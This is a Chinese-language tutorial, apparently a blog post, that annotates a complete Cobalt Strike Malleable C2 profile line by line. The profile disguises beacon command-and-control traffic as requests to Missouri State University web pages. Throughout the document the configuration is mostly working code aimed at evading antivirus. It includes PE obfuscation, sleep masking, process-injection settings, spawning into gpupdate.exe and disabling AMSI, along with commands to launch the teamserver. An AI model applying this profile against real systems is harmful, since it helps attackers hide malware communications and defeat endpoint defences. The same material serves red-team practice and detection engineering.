通过之前我们对于CobaltStrike的Beacon通信流程分析,我们可以看到CobaltStrike在使用心跳包发送active和match,执行命令的返回结果通过请求submit.php来进行传输,而且我们通过这两个包发送和接收的也是一些加密的内容,因此可能有些杀软可能会对这样的请求进行拦截,如果这样,那么无论我们之前对shellcode怎么免杀,只要和服务端产生一些通信,那么都有可能被拦截,因此我们需要修改掉这些流量特征,好在CobaltStrike已经给我们提供了这样的功能,那就是malleable C2。
关于malleable C2基本介绍 什么是malleable C2?
Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。 也就是说当Beacon使用HTTP进行通信时,可以通过Malleable-C2来控制如何接收和发送指令。
为什么要使用malleable C2?
因为我们使用默认beacon通信方式可以看到存在一些特征,所以我们需要通过需改Malleable-C2来更改流量的特征,让beacon和CoblatStrike服务端的通信流量尽量来模拟正常的访问通信,要实现这个功能,可以通过编写malleable-C2-profile来实现。
malleable C2-profile的编写分析 如何使用malleable C2-profile文件?
我以网上公开的profile为例进行分析,github地址 ,下载后normal\msu_edu.profile来进行分析
当我们启动团队服务器时,可以使用如下命令来加载Malleable-C2-profile文件
1 ./teamserver [external IP] [password] [/path/to/my.profile]
将normal\msu_edu.profile上传到服务器,使用上面的命令可以加载,但是在加载之前首先要测试这个profile文件的内容格式是否有问题,可以通过c2lint命令来检测
测试过程中+代表测试通过,%代表提醒的内容,!代表不通过的选项
检查通过以后,我们通过下面的命令启动teamserver并且加载 malleable-C2-profile文件
1 sudo ./teamserver ip password msu_edu.profile
如何编写一个Malleable-C2-profile文件?
打开后文件的开头如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 ###Global Options### set sample_name "msu_edu.profile"; //通过set给变量sample_name进行赋值 set sleeptime "37500"; //设置睡眠时间为37秒左右 set jitter "33"; //设置抖动率,为了防止请求时间过于规律,在这里设置抖动率为33% set useragent "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/587.38 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"; //设置user-agent #set host_stage "false"; //如果不需要分阶段传输payload,就可以在这里将host_stage的值设置为false ###DNS options### set dns_idle "8.8.8.8"; set maxdns "245"; //通过dns传输数据时主机名的最大长度 set dns_sleep "0"; //在每个dns请求之间设置延时,这里没有延时 set dns_stager_prepend ""; //在dns payload之前插入内容 set dns_stager_subhost ""; //设置dns txt record stager的子域名 set dns_max_txt "252"; //设置dns txt返回最大长度 set dns_ttl "1"; //设置DNS响应的ttl的值 ###SMB options### set pipename "ntsvcs"; //在使用Smb beacon来进行通信时,设置命名管道的名字 set pipename_stager "scerpc"; //设置stager使用的管道名 ###TCP options### set tcp_port "8000"; //设置tcp_beacon监听的端口,这里设置的是8000
通过上面的配置,我们实现了以37秒为基准,百分之33左右的抖动率的功能,并且使用smb beacon时,默认的命名管道名字为ntsvcs
当使用tcp beacon时,默认的端口是8000
并且默认的user-agent将使用我们上面配置的.
我们继续分析,看看后面的配置文件,下面的配置文件主要用来配置证书和response header
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 ###SSL Options### //这个主要是给https beacon使用的配置 #https-certificate { #set keystore "your_store_file.store"; //java kerstore文件 #set password "your_store_pass"; //keystore文件的打开密码 #} #https-certificate { //自签名的https证书配置 # set C "US"; //国家 # set CN "whatever.com"; //域名 # set L "California"; //地区 # set O "whatever LLC."; //组织名 # set OU "local.org"; //组织单位名称 # set ST "CA"; //州或者省 # set validity "365"; //时效 #} #code-signer { //代码签名 #set keystore "your_keystore.jks"; // java kerstore文件 #set password "your_password"; //keystore文件的打开密码 #set alias "server"; // #} ###HTTP-Config Block### //配置reponse header块 http-config { #set headers "Server, Content-Type"; #header "Content-Type" "text/html;charset=UTF-8"; #header "Server" "nginx"; set trust_x_forwarded_for "false"; //如果teamserver使用了http重定向器,就需要选择true }
下面我们来配置GET请求
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 ###HTTP-GET Block### http-get { set uri "/siteindex/a/ /siteindex/b/ /siteindex/c/"; //配置请求的Uri路径 #set verb "POST"; //用什么方法传输数据,不仅可以配置为get也可以配置为post client { //client端的配置 header "Host" "search.missouristate.edu"; header "Accept" "*/*"; header "Accept-Language" "en"; header "Connection" "close"; metadata { //metadata是一段加密的数据,但是没有编码,所以他不能在请求头和URI中发送。需要使用base64、base64url或者netbios编码之后才能在请求头和URI中发送。 #base64 base64url; // 使用URL-safe Base64 进行编码 #mask; #netbios; #netbiosu; #prepend "TEST123"; //开头插入字符串 #append ".php"; //末尾追加字符串 parameter "filter"; //把数据放到名为filter的uri参数中 #header "Cookie"; //把数据放到名为Cookie的http头中 #uri-append; //把数据直接追加到URI上 #print; } #parameter "test1" "test2"; } server { //server端的请求配置 header "Cache-Control" "private"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "User-Agent"; header "Server" "Microsoft-IIS/8.5"; header "BackendServer" "Handle"; header "X-UA-Compatible" "IE=edge"; header "Connection" "close"; header "Set-Cookie" "WWW-SERVERID=handle; path=/"; output { netbios; #netbiosu; #base64; #base64url; #mask; prepend " <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" /> <script src=\"https://missouristate.info/scripts/2018/common.js?_q="; prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n"; prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n"; prepend " <title>A - Site Index - Missouri State University</title>\n"; prepend " <meta charset=\"UTF-8\" />\n"; prepend "<head>"; prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n"; prepend "<!DOCTYPE html>\n"; append "\"></script>\n"; append "<h2>About search</h2>\n"; append "<ul>\n"; append "<li><a href=\"https://www.missouristate.edu/web/search/aboutwebsearch.htm\">About web search</a></li>]n"; append "<li><a href=\"https://www.missouristate.edu/web/search/aboutpeoplesearch.htm\">About people search</a></li>\n"; append "<li><a href=\"https://www.missouristate.edu/web/search/abouteventsearch.htm\">About event search</a></li>\n"; append "<li><a href=\"https://www.missouristate.edu/web/search/aboutmapsearch.htm\">About map search</a></li>"; append "</ul>\n"; append "</div>"; print; //以print为结束 } } }
通过上面的HTTP-GET块的配置,我们配置了心跳包的请求URI为/siteindex/a/,并且设置了通过filter字段来传输信息,并且返回包的内容也和我们在server部分的配置相同。这里有一个点需要注意,就是在使用prepend在返回包中添加内容时,在多个prepend字段配置中,prepend字段添加的越早,显示时越在后面
1 2 3 4 5 6 7 8 prepend " <link href=\"/resource/styles\" media=\"all\" rel=\"stylesheet\" /> <script src=\"https://missouristate.info/scripts/2018/common.js?_q="; prepend " <meta name=\"robots\" content=\"noindex\" /><link rel=\"Stylesheet\" media=\"all\" href=\"https://missouristate.info/styles/msuwds/main-sgf.css\" />\n"; prepend " <meta name=\"vireport\" content=\"width=device-width, initial-scale=1.0\" />\n"; prepend " <title>A - Site Index - Missouri State University</title>\n"; prepend " <meta charset=\"UTF-8\" />\n"; prepend "<head>"; prepend "<html lang=\"en\" itemscope itemtype=\"https://schema.org/SearchResultsPage\">\n"; prepend "<!DOCTYPE html>\n";
我们再看一下当我们向client发送指令时的数据包,我们可以看到server端传递的请求在参数q中
当客户端收到指令时,一般通过post来向服务端返回命令执行的结果,这部分可以通过http-post部分来配置,配置过程如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 ###HTTP-Post Block### http-post { set uri "/getsearchresults"; //配置post请求的uri #set verb "GET"; set verb "POST"; //配置请求的形式 client { # header "Host" "search.missouristate.edu"; //配置请求头的信息 header "Connection" "close"; header "Accept" "*/*"; header "Accept-Language" "en-US"; output { base64url; // URL-safe Base64 编码形式输出 parameter "site_indexFilter"; //将数据放到site_indexFilter参数中进行传输 } id { //通过id标识应该输出到哪个beacon base64url; parameter "peopleFilter"; //将数据放到peopleFilter参数中进行传输 } parameter "eventsFilter" "campus:sgf"; //配置一些其他的请求参数和参数值 # parameter "mapFilter" "campus"; parameter "query" "my%20missouri%20state"; parameter "resultCounts" "5,3,3,3&"; } server { header "Cache-Control" "private"; header "Content-Type" "application/json; charset=utf-8"; header "Vary" "User-Agent,AcceptEncoding"; header "Server" "Microsoft-IIS/8.5"; header "BackendServer" "Handle"; header "X-UA-Compatible" "IE=edge"; header "Connection" "close"; output { netbios; //通过netbios传输信息 prepend "[\"{\\\"results\\\":[\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State University Foundation\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://www.missouristatefoundation.org/\\\\\\\",\\\\\\\"Keywords\\\\\\\":"; append "\"\\\\\\\"development; endowment; foundation; Foundation, Missouri State; fundraising; missouri state foundation; missouri state university foundation\\\\\\\",\\\\\\\"UnitType\\\\\\\":\\\\\\\"Department\\\\\\\"}\\\",\\\"{\\\\\\\"ID\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Name\\\\\\\":\\\\\\\"Missouri State Outreach\\\\\\\",\\\\\\\"Url\\\\\\\":\\\\\\\"https://outreach.missouristate.edu/\\\\\\\",\\\\\\\"Keywords\\\\\\\":\\\\\\\"distance learning; dual credit; evening; extended campus; Extended Campus (now Missouri State Outreach); i courses; i-courses; icourses; interactive video; itv; non credit; non-credit; noncredit; off campus; off-campus; offcampus; online; outreach; Outreach, Missouri State\\\\\\\"}\"]"; print; } } }
通过上面对于http-post的配置,我们可以看到通过post的方式请求getsearchresults这个uri,并且在请求中加入了site_indexFilter字段,这个字段用来传输命令执行的结果。通过peopleFilter这个字段来返回beacon client对应的id。并且加上了query和resultCounts这两个参数,不过这两个参数的内容都是写死的。最后在server部分我们配置了返回的内容。我们使用wireshark来看下请求的内容与我们的配置是否一致
下面我们配置http-stager的信息,我们可以在下面的代码块中定义自己下载stage的行为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ###HTTP-Stager Block### http-stager { set uri_x86 "/Events"; //当下在x86的stage时,请求的uri set uri_x64 "/events"; //当下在x64的stage时,请求的uri client { header "Host" "search.missouristate.com"; header "Accept" "*/*"; header "Accept-Language" "en"; header "Connection" "close"; #parameter "test1" "test2"; } server { //配置server返回stage的格式 header "Cache-Control" "private"; header "Content-Type" "private"; header "Vary" "User-Agent"; header "Server" "Microsoft-IIS/8.5"; header "BackendServer" "Handle"; header "X-UA-Compatible" "IE=edge"; header "Connection" "close"; header "Set-Cookie" "WWW-SERVERID=handle; path=/"; output { //对输出的内容进行配置,这里并没有加上其他的处理 #prepend "content="; #append "</script>\n"; print; } } }
通过上面的HTTP-Stager的配置后,当stager去请求下载stage时,请求/Events这个uri,并且host的内容都和我们设置的在HTTP-Stager的client中配置的一致。再看看返回包中的内容,请求头中的内容也和我们配置的server部分一致。
再看看可扩展的pe和躲避杀软的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ###Malleable PE/Stage Block### stage { set checksum "0"; //PE头里checksum的值 set compile_time "23 Nov 2018 02:25:37"; //beacon pe头中显示的编译的时间 set entry_point "170000"; //beacon pe头中设置的入口点 #set image_size_x86 "6586368"; //x86 PE头里写的镜像大小 #set image_size_x64 "6586368"; //x64 PE头里写的镜像大小 #set name "WWanMM.dll"; // beacon dll 导出的名字 set userwx "false"; //反射加载时是否要把内存设置为可读可写可执行 set cleanup "true"; //如果选择是则尝试释放反射加载的dll的内存 set sleep_mask "true"; //是否在sleep前在内存中混淆beacon set stomppe "true"; // set obfuscate "true"; //是否混淆反射调用dll的导入表,覆盖无用的header内容,请求反射加载器copy beacon到新的内存没有dll头 set rich_header ""; //编译器插入的元信息 set sleep_mask "true"; //是否在sleep前在内存中混淆beacon set module_x86 "wwanmm.dll"; //加载一个dll,然后用beacon去覆盖它分配的空间,而不是用VirtualAlloc去分配内存 set module_x64 "wwanmm.dll"; transform-x86 { prepend "\x90\x90\x90"; // 在beacon 反射调用dll之前插入一些数据 strrep "ReflectiveLoader" ""; strrep "beacon.dll" ""; // 查找并替换字符串 } transform-x64 { prepend "\x90\x90\x90"; strrep "ReflectiveLoader" ""; strrep "beacon.x64.dll" ""; } #string "something"; //添加字符串 #data "something"; #stringw "something"; //添加UTF-16字符串 }
在看看进程注入的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ###Process Inject Block### process-inject { set allocator "NtMapViewOfSection"; //在远程进程中分配内存的方式,有两种方式VirtualAllocEx和NtMapViewOfSection,VirtualAlloc是Windows提供的API,通常用来分配大块的内存。例如如果想在进程A和进程B之间通过共享内存的方式实现通信,可以使用该函数(这也是较常用的情况)。利用NtMapViewOfSection在远程进程地址空间写入代码,并且用一种新的技术在远程进程中执行它,这种技术完全工作在用户模式下,并且不需要特殊的条件比如像管理员权限或者之类的要求 set min_alloc "16700"; //最小的分配内存的大小 set userwx "false"; ////是否使用rwx作为代码内存的默认权限,默认rx set startrwx "false"; //是否使用rwx作为代码内存的默认权限,默认rx transform-x86 { prepend "\x90\x90\x90"; } transform-x64 { prepend "\x90\x90\x90"; } execute { CreateThread "ntdll!RtlUserThreadStart"; //进程可以在其他的进程中创建一个线程 CreateThread; NtQueueApcThread; //通过NtQueueApcThread实现APC注入 CreateRemoteThread; RtlCreateUserThread; //创建远程线程的一种技术 } }
我们再来看看post-ex块,这个模块用来控制后渗透的行为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ###Post-Ex Block### post-ex { set spawnto_x86 "%windir%\\syswow64\\gpupdate.exe"; //派生后渗透功能的默认临时进程 set spawnto_x64 "%windir%\\sysnative\\gpupdate.exe"; set obfuscate "true"; //对dll的内容进行加密,并且将post-ex功能建立到内存中, set smartinject "true"; //提示beacon将关键的函数指针嵌入到相同架构的post-ex dll中 set amsi_disable "true"; //关闭amsi,AMSI(Antimalware Scan Interface), 即反恶意软件扫描接口。在Windows Server 2016和Win10上默认安装并启用。 }
总结 通过上面的学习,大家应该了解了关于Malleable C2 Profile文件编写的基本的方法,可以根据自己的需要编写自己的Malleable C2 Profile文件,当然我们得知道编写profile文件的目的是为了尽量去模拟正常的网站访问流量。
参考文章
[RED_TEAM] Cobalt Strike 4.0+ Malleable C2 Profile Guideline
CobaltStrike4.0用户手册_中文翻译